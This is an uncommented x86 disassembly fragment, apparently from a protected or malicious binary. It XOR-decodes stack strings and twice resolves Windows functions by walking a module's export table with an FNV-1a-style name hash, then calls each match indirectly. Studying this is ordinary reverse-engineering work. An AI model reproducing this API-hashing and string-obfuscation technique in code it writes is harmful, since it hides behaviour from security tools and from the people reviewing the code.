mov byte [esp + 0x13], bh
mov byte [esp + 0x17d], al
mov dh, 0x76
mov al, byte [esp + 0x13]
mov bl, 0x7f
xor al, cl
mov byte [esp + 0x179], ah
mov byte [esp + 0x17e], al
xor dl, cl
lea eax, [esp + 0x294]
mov byte [esp + 0x17a], ch
push eax
push 1
xor bl, cl
mov byte [esp + 0x187], 0
xor dh, cl
mov byte [esp + 0x17f], dl
xor bh, cl
mov byte [esp + 0x180], bl
push 0
lea eax, [esp + 0x6f8]
mov byte [esp + 0x187], dh
push eax
lea ecx, [esp + 0x52c]
mov byte [esp + 0x18c], bh
mov byte [esp + 0x18f], 0
call fcn.004b6890
lea eax, [esp + 0x175]
push eax
lea ecx, [esp + 0x520]
call fcn.004b74b0
lea ecx, [esp + 0x51c]
mov bl, al
call fcn.004b5f90
test bl, bl
je 0x4b50d0
push 0x32
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], 0x76
call fcn.004b51f0
push 0x31
lea ecx, [esp + 0x24]
mov byte [esp + 0x25], al
call fcn.004b51f0
push 0x57
lea ecx, [esp + 0x24]
mov byte [esp + 0x26], al
call fcn.004b51f0
push 0x52
lea ecx, [esp + 0x24]
mov byte [esp + 0x27], al
call fcn.004b51f0
push 0x4c
lea ecx, [esp + 0x24]
mov byte [esp + 0x28], al
call fcn.004b51f0
push 0x58
lea ecx, [esp + 0x24]
mov byte [esp + 0x29], al
call fcn.004b51f0
push 0x31
lea ecx, [esp + 0x24]
mov byte [esp + 0x2a], al
call fcn.004b51f0
mov byte [esp + 0x27], al
xor esi, esi
mov byte [esp + 0x28], 0
push esi
lea ecx, [esp + 0x25]
call fcn.004b5210
lea ecx, [esp + 0x20]
movzx eax, byte [eax]
push eax
call fcn.004b51f0
push esi
lea ecx, [esp + 0x25]
mov bl, al
call fcn.004b5210
inc esi
mov byte [eax], bl
cmp esi, 7
jb 0x4b5081
push 7
lea ecx, [esp + 0x25]
call fcn.004b5210
lea ecx, [esp + 0x21]
mov byte [eax], 0
call fcn.004b5200
push eax
lea ecx, [esp + 0x6f0]
call fcn.004b5f30
lea ecx, [esp + 0x6ec]
call fcn.004b5f90
mov dword [0x4d97d0], 2
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xe8b50837
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b512d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b5110
cmp edx, 0x4f970c08
je 0x4b5133
inc ebx
add esi, 4
jmp 0x4b5100
mov eax, dword [ebp + edi + 0x24]
push 0
push 0
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x75dbefc1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b519d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b5180
cmp edx, 0x2b87785c
je 0x4b51a3
inc ebx
add esi, 4
jmp 0x4b5170
mov eax, dword [ebp + edi + 0x24]
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004c8789
add esp, 0x84c
ret